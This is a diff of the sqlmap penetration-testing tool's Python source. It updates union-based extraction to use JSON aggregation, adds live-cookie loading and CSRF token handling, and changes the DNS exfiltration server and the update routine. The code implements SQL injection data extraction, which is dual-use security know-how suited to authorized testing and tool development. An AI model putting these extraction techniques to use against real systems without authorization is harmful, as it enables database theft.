@@ -125,13 +129,20 @@ def vulnTest():
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
for tag, value in (("<url>", url), ("<direct>", direct), ("<request>", request), ("<log>", log), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
options = options.replace(tag, value)
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
if "<tmp>" in cmd:
handle, tmp = tempfile.mkstemp()
os.close(handle)
cmd = cmd.replace("<tmp>", tmp)
if "<piped>" in cmd:
cmd = re.sub(r"<piped>\s*", "", cmd)
cmd = "echo %s | %s" % (url, cmd)
output = shellExec(cmd)
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
+2 -1
View File
@@ -21,6 +21,7 @@ from lib.core.datatype import AttribDict
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapSkipTargetException
from lib.core.exception import SqlmapThreadException
from lib.core.exception import SqlmapUserQuitException
from lib.core.exception import SqlmapValueException
@@ -101,7 +102,7 @@ def exceptionHandledFunction(threadFunction, silent=False):
except Exception as ex:
from lib.core.common import getSafeExString
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, SqlmapUserQuitException):
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)):
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
+31 -1
View File
@@ -14,6 +14,7 @@ import time
import zipfile
from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import getLatestRevision
from lib.core.common import getSafeExString
from lib.core.common import openFile
@@ -27,6 +28,7 @@ from lib.core.revision import getRevisionNumber
from lib.core.settings import GIT_REPOSITORY
from lib.core.settings import IS_WIN
from lib.core.settings import VERSION
from lib.core.settings import TYPE
from lib.core.settings import ZIPBALL_PAGE
from thirdparty.six.moves import urllib as _urllib
@@ -36,7 +38,34 @@ def update():
success = False
if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
if TYPE == "pip":
infoMsg = "updating sqlmap to the latest stable version from the "
infoMsg += "PyPI repository"
logger.info(infoMsg)
debugMsg = "sqlmap will try to update itself using 'pip' command"
logger.debug(debugMsg)
dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))
output = ""
try:
process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
pollProcess(process, True)
output, _ = process.communicate()
success = not process.returncode
except Exception as ex:
success = False
output = getSafeExString(ex)
finally:
output = getText(output)
if success:
logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to", extractRegexResult(r"\binstalled sqlmap-(?P<result>\d+\.\d+\.\d+)", output) or extractRegexResult(r"\((?P<result>\d+\.\d+\.\d+)\)", output)))
else:
logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip())
elif not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
logger.warn(warnMsg)
@@ -95,6 +124,7 @@ def update():
os.chmod(os.path.join(directory, "sqlmap.py"), attrs)
except OSError:
logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py"))
else:
infoMsg = "updating sqlmap to the latest development revision from the "
infoMsg += "GitHub repository"
+39 -10
View File
@@ -168,6 +168,9 @@ def cmdLineParser(argv=None):
request.add_argument("--cookie-del", dest="cookieDel",
help="Character used for splitting cookie values (e.g. ;)")
request.add_argument("--live-cookies", dest="liveCookies",
help="Live cookies file used for loading up-to-date values")
request.add_argument("--load-cookies", dest="loadCookies",
help="File containing cookies in Netscape/wget format")
@@ -622,6 +625,9 @@ def cmdLineParser(argv=None):
general.add_argument("--base64", dest="base64Parameter",
help="Parameter(s) containing Base64 encoded data")
general.add_argument("--base64-safe", dest="base64Safe", action="store_true",
help="Use URL and filename safe Base64 alphabet (RFC 4648)")
general.add_argument("--batch", dest="batch", action="store_true",
help="Never ask for user input, use the default behavior")
@@ -680,7 +686,10 @@ def cmdLineParser(argv=None):
help="Parse and display DBMS error messages from responses")
general.add_argument("--preprocess", dest="preprocess",
help="Use given script(s) for preprocessing of response data")
help="Use given script(s) for preprocessing (request)")
general.add_argument("--postprocess", dest="postprocess",
help="Use given script(s) for postprocessing (response)")
general.add_argument("--repair", dest="repair", action="store_true",
help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
@@ -691,6 +700,9 @@ def cmdLineParser(argv=None):
general.add_argument("--scope", dest="scope",
help="Regexp for filtering targets")
general.add_argument("--skip-heuristics", dest="skipHeuristics", action="store_true",
help="Skip heuristic detection of SQLi/XSS vulnerabilities")
general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
help="Skip heuristic detection of WAF/IPS protection")
@@ -860,7 +872,7 @@ def cmdLineParser(argv=None):
_ = []
advancedHelp = True
extraHeaders = []
tamperIndex = None
auxIndexes = {}
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
for arg in argv:
@@ -949,17 +961,29 @@ def cmdLineParser(argv=None):
argv[i] = ""
elif argv[i] in DEPRECATED_OPTIONS:
argv[i] = ""
elif argv[i].startswith("--tamper"):
if tamperIndex is None:
tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
elif argv[i].startswith("--data-raw"):
argv[i] = argv[i].replace("--data-raw", "--data", 1)
elif argv[i].startswith("--drop-cookie"):
argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1)
elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")):
key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1)
index = auxIndexes.get(key, None)
if index is None:
index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
auxIndexes[key] = index
else:
argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
delimiter = ','
argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
argv[i] = ""
elif argv[i] == "-H":
if i + 1 < len(argv):
elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")):
if '=' in argv[i]:
extraHeaders.append(argv[i].split('=', 1)[1])
elif i + 1 < len(argv):
extraHeaders.append(argv[i + 1])
elif argv[i] == "--deps":
argv[i] = "--dependencies"
elif argv[i] == "--disable-colouring":
argv[i] = "--disable-coloring"
elif argv[i] == "-r":
for j in xrange(i + 2, len(argv)):
value = argv[j]
@@ -992,7 +1016,7 @@ def cmdLineParser(argv=None):
for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
try:
if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
conf.verbose = verbosity.count('v') + 1
conf.verbose = verbosity.count('v')
del argv[argv.index(verbosity)]
except (IndexError, ValueError):
pass
@@ -1021,7 +1045,12 @@ def cmdLineParser(argv=None):
if args.dummy:
args.url = args.url or DUMMY_URL
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
if hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno()) and '-' not in sys.argv:
args.stdinPipe = iter(sys.stdin.readline, None)
else:
args.stdinPipe = None
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
errMsg += "Use -h for basic and -hh for advanced help\n"
parser.error(errMsg)
+2 -2
View File
@@ -353,7 +353,7 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
if (kb.pageEncoding or "").lower() == "utf-8-sig":
kb.pageEncoding = "utf-8"
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
if page and page.startswith(b"\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
page = page[3:]
page = getUnicode(page, kb.pageEncoding)
@@ -394,7 +394,7 @@ def processResponse(page, responseHeaders, code=None, status=None):
if msg:
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
if kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page)
identYwaf.non_blind.clear()
+7 -9
View File
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
"""
from lib.core.data import conf
from lib.core.enums import HTTP_HEADER
from thirdparty.six.moves import urllib as _urllib
class ChunkedHandler(_urllib.request.HTTPHandler):
@@ -20,20 +21,17 @@ class ChunkedHandler(_urllib.request.HTTPHandler):
if request.data is not None: # POST
data = request.data
if not request.has_header("Content-type"):
request.add_unredirected_header(
"Content-type",
"application/x-www-form-urlencoded")
if not request.has_header("Content-length") and not conf.chunked:
request.add_unredirected_header(
"Content-length", "%d" % len(data))
if not request.has_header(HTTP_HEADER.CONTENT_TYPE):
request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")
if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked:
request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data))
sel_host = host
if request.has_proxy():
sel_host = _urllib.parse.urlsplit(request.get_selector()).netloc
if not request.has_header("Host"):
request.add_unredirected_header("Host", sel_host)
if not request.has_header(HTTP_HEADER.HOST):
request.add_unredirected_header(HTTP_HEADER.HOST, sel_host)
for name, value in self.parent.addheaders:
name = name.capitalize()
if not request.has_header(name):
+49 -7
View File
@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
import binascii
import logging
import os
import random
import re
import socket
@@ -25,6 +26,7 @@ except ImportError:
from lib.core.agent import agent
from lib.core.common import asciifyUrl
from lib.core.common import calculateDeltaSeconds
from lib.core.common import checkFile
from lib.core.common import checkSameHost
from lib.core.common import chunkSplitPostData
from lib.core.common import clearConsoleLine
@@ -100,6 +102,7 @@ from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
from lib.core.settings import IS_WIN
from lib.core.settings import JAVASCRIPT_HREF_REGEX
from lib.core.settings import LARGE_READ_TRIM_MARKER
from lib.core.settings import LIVE_COOKIES_TIMEOUT
from lib.core.settings import MAX_CONNECTION_READ_SIZE
from lib.core.settings import MAX_CONNECTIONS_REGEX
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
@@ -219,7 +222,7 @@ class Connect(object):
try:
part = conn.read(MAX_CONNECTION_READ_SIZE)
except AssertionError:
part = ""
part = b""
if len(part) == MAX_CONNECTION_READ_SIZE:
warnMsg = "large response detected. This could take a while"
@@ -292,6 +295,30 @@ class Connect(object):
return page, headers, code
if conf.liveCookies:
with kb.locks.liveCookies:
if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
warnMsg = "[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)" % (time.strftime("%X"), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
dataToStdout(warnMsg)
valid = False
for _ in xrange(LIVE_COOKIES_TIMEOUT):
if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
valid = True
break
else:
dataToStdout('.')
time.sleep(1)
dataToStdout("\n")
if not valid:
errMsg = "problem occurred while loading cookies from file '%s'" % conf.liveCookies
raise SqlmapValueException(errMsg)
cookie = openFile(conf.liveCookies).read().strip()
cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie)
if multipart:
post = multipart
else:
@@ -501,6 +528,16 @@ class Connect(object):
else:
return None, None, None
for function in kb.preprocessFunctions:
try:
function(req)
except Exception as ex:
errMsg = "error occurred while running preprocess "
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
raise SqlmapGenericException(errMsg)
else:
post, headers = req.data, req.headers
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in req.header_items()])
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
@@ -539,7 +576,7 @@ class Connect(object):
conn = _urllib.request.urlopen(req)
if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower():
kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)
kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))
if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)
@@ -815,11 +852,11 @@ class Connect(object):
else:
page = getUnicode(page)
for function in kb.preprocessFunctions:
for function in kb.postprocessFunctions:
try:
page, responseHeaders, code = function(page, responseHeaders, code)
except Exception as ex:
errMsg = "error occurred while running preprocess "
errMsg = "error occurred while running postprocess "
errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex))
raise SqlmapGenericException(errMsg)
@@ -1089,6 +1126,9 @@ class Connect(object):
if not match:
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
if not match:
match = re.search(r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken, page or "", re.I)
if match:
token.name, token.value = match.group("name"), match.group("value")
@@ -1125,11 +1165,13 @@ class Connect(object):
if token:
token.value = token.value.strip("'\"")
for candidate in (PLACE.GET, PLACE.POST):
for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI):
if candidate in conf.parameters:
if candidate == PLACE.GET and get:
if candidate == PLACE.URI and uri:
uri = _adjustParameter(uri, token.name, token.value)
elif candidate == PLACE.GET and get:
get = _adjustParameter(get, token.name, token.value)
elif candidate == PLACE.POST and post:
elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post:
post = _adjustParameter(post, token.name, token.value)
for i in xrange(len(conf.httpHeaders)):
+3 -2
View File
@@ -45,8 +45,9 @@ def direct(query, content=True):
break
if select:
if not query.upper().startswith("SELECT "):
if re.search(r"(?i)\ASELECT ", query) is None:
query = "SELECT %s" % query
if conf.binaryFields:
for field in conf.binaryFields:
field = field.strip()
@@ -58,7 +59,7 @@ def direct(query, content=True):
output = hashDBRetrieve(query, True, True)
start = time.time()
if not select and "EXEC " not in query.upper():
if not select and re.search(r"(?i)\bEXEC ", query) is None:
timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query):
output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
+5 -2
View File
@@ -76,17 +76,20 @@ class DNSServer(object):
self._check_localhost()
self._requests = []
self._lock = threading.Lock()
try:
self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
except AttributeError:
self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self._socket.bind(("", 53))
self._running = False
self._initialized = False
def _check_localhost(self):
response = ""
response = b""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("", 53))
@@ -96,7 +99,7 @@ class DNSServer(object):
pass
finally:
if response and b"google" in response:
raise socket.error("another DNS service already running on *:53")
raise socket.error("another DNS service already running on '0.0.0.0:53'")
def pop(self, prefix=None, suffix=None):
"""
+19 -1
View File
@@ -11,6 +11,8 @@ import socket
from lib.core.common import filterNone
from lib.core.common import getSafeExString
from lib.core.compat import xrange
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
@@ -43,6 +45,8 @@ class HTTPSConnection(_http_client.HTTPSConnection):
_contexts[None] = ssl._create_default_https_context()
kwargs["context"] = _contexts[None]
self.retrying = False
_http_client.HTTPSConnection.__init__(self, *args, **kwargs)
def connect(self):
@@ -58,7 +62,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1):
try:
sock = create_sock()
if protocol not in _contexts:
@@ -101,7 +105,21 @@ class HTTPSConnection(_http_client.HTTPSConnection):
# Reference: https://docs.python.org/2/library/ssl.html
if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"):
errMsg += " (please retry with Python >= 2.7.9)"
if kb.sslSuccess and not self.retrying:
self.retrying = True
for _ in xrange(conf.retries):
try:
self.connect()
except SqlmapConnectionException:
pass
else:
return
raise SqlmapConnectionException(errMsg)
else:
kb.sslSuccess = True
class HTTPSHandler(_urllib.request.HTTPSHandler):
def https_open(self, req):
+23 -2
View File
@@ -12,6 +12,7 @@ import time
from lib.core.agent import agent
from lib.core.bigarray import BigArray
from lib.core.common import applyFunctionRecursively
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import cleanQuery
@@ -126,7 +127,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
kb.inferenceMode = False
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
logger.debug(debugMsg)
return value
@@ -286,7 +287,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
try:
try:
for num in xrange(startLimit, stopLimit):
for num in xrange(startLimit or 0, stopLimit or 0):
output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
outputs.append(output)
except OverflowError:
@@ -505,6 +506,26 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else ""
singleTimeWarnMessage(warnMsg)
# Dirty patch (MSSQL --binary-fields with 0x31003200...)
if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields:
def _(value):
if isinstance(value, six.text_type):
if value.startswith(u"0x"):
value = value[2:]
if value and len(value) % 4 == 0:
candidate = ""
for i in xrange(len(value)):
if i % 4 < 2:
candidate += value[i]
elif value[i] != '0':
candidate = None
break
if candidate:
value = candidate
return value
value = applyFunctionRecursively(value, _)
# Dirty patch (safe-encoded unicode characters)
if isinstance(value, six.text_type) and "\\x" in value:
try:
+6 -7
View File
@@ -13,6 +13,7 @@ from lib.core.common import getHostHeader
from lib.core.common import getSafeExString
from lib.core.common import logHTTPTraffic
from lib.core.common import readInput
from lib.core.convert import getBytes
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
@@ -64,8 +65,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
self.redirect_request = self._redirect_request
def _redirect_request(self, req, fp, code, msg, headers, newurl):
newurl = newurl.replace(' ', '%20')
return _urllib.request.Request(newurl, data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host())
return _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host())
def http_error_302(self, req, fp, code, msg, headers):
start = time.time()
@@ -75,7 +75,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
try:
content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
except: # e.g. IncompleteRead
content = ""
content = b""
finally:
if content:
try: # try to write it back to the read buffer so we could reuse it in further steps
@@ -153,18 +153,17 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
result.info()
except AttributeError:
def _(self):
return getattr(self, "hdrs") or {}
return getattr(self, "hdrs", {})
result.info = types.MethodType(_, result)
if not hasattr(result, "read"):
def _(self, length=None):
try:
retVal = getSafeExString(ex)
retVal = getSafeExString(ex) # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3)
except:
retVal = ""
finally:
return retVal
return getBytes(retVal)
result.read = types.MethodType(_, result)
+1 -1
View File
@@ -506,7 +506,7 @@ class Metasploit(object):
if IS_WIN:
timeout = 3
inp = ""
inp = b""
_ = time.time()
while True:
+2 -1
View File
@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
import os
from lib.core.common import openFile
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import logger
@@ -48,7 +49,7 @@ class Registry(object):
)
def _createLocalBatchFile(self):
self._batPathFp = open(self._batPathLocal, "w")
self._batPathFp = openFile(self._batPathLocal, "w")
if self._operation == REGISTRY_OPERATION.READ:
lines = self._batRead
+1 -4
View File
@@ -123,9 +123,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1)
expression = match.group(2).strip()
#<inference query="(SELECT SUBSTRING((%s) FROM %d FOR 1) FROM %s)>'%c'"/>
try:
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
if conf.predictOutput:
@@ -719,7 +716,7 @@ def queryOutputLength(expression, payload):
lengthExprUnescaped = agent.forgeQueryOutputLength(expression)
count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
logger.debug(debugMsg)
if length == " ":
+1 -1
View File
@@ -108,7 +108,7 @@ def dnsUse(payload, expression):
hashDBWrite(expression, output)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
logger.debug(debugMsg)
elif conf.dnsDomain:
+1 -1
View File
@@ -462,7 +462,7 @@ def errorUse(expression, dump=False):
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[getTechnique()], duration)
debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[getTechnique()], 'y' if kb.counters[getTechnique()] == 1 else "ies", duration)
logger.debug(debugMsg)
return value
+58 -51
View File
@@ -5,10 +5,9 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import binascii
import json
import re
import time
import xml.etree.ElementTree
from lib.core.agent import agent
from lib.core.bigarray import BigArray
@@ -32,14 +31,11 @@ from lib.core.common import isNumPosStrValue
from lib.core.common import listToStrValue
from lib.core.common import parseUnionPage
from lib.core.common import removeReflectiveValues
from lib.core.common import safeStringFormat
from lib.core.common import singleTimeDebugMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue
from lib.core.common import wasLastResponseDBMSError
from lib.core.compat import xrange
from lib.core.convert import decodeBase64
from lib.core.convert import getBytes
from lib.core.convert import getUnicode
from lib.core.convert import htmlUnescape
from lib.core.data import conf
@@ -74,7 +70,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.rowXmlMode:
if not kb.jsonAggMode:
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
@@ -99,7 +95,35 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if not kb.rowXmlMode:
if kb.jsonAggMode:
if Backend.isDbms(DBMS.MSSQL):
output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), page or "")
if output:
try:
retVal = ""
fields = re.findall(r'"([^"]+)":', extractRegexResult(r"{(?P<result>[^}]+)}", output))
for row in json.loads(output):
retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
elif Backend.isDbms(DBMS.PGSQL):
output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), page or "")
if output:
retVal = output
else:
output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), page or "")
if output:
try:
retVal = ""
for row in json.loads(output):
retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
else:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
@@ -115,40 +139,6 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
else:
output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
if output:
try:
root = xml.etree.ElementTree.fromstring(safeStringFormat("<root>%s</root>", getBytes(output)))
retVal = ""
for column in kb.dumpColumns:
base64 = True
for child in root:
value = child.attrib.get(column, "").strip()
if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
base64 = False
break
try:
decodeBase64(value)
except (binascii.Error, TypeError):
base64 = False
break
if base64:
for child in root:
child.attrib[column] = decodeBase64(child.attrib.get(column, ""), binary=False) or NULL
for child in root:
row = []
for column in kb.dumpColumns:
row.append(child.attrib.get(column, NULL))
retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
@@ -159,7 +149,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
elif not kb.rowXmlMode:
elif not kb.jsonAggMode:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
@@ -167,12 +157,20 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
elif re.search(r"ORDER BY [^ ]+\Z", expression):
debugMsg = "retrying failed SQL query without the ORDER BY clause"
logger.debug(debugMsg)
singleTimeDebugMessage(debugMsg)
expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
retVal = _oneShotUnionUse(expression, unpack, limited)
elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)):
debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
singleTimeDebugMessage(debugMsg)
kb.nchar = False
retVal = _oneShotUnionUse(expression, unpack, limited)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
@@ -236,13 +234,6 @@ def unionUse(expression, unpack=True, dump=False):
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if conf.api else None
if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
kb.rowXmlMode = True
_ = "(%s FOR XML RAW, BINARY BASE64)" % expression
output = _oneShotUnionUse(_, False)
value = parseUnionPage(output)
kb.rowXmlMode = False
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
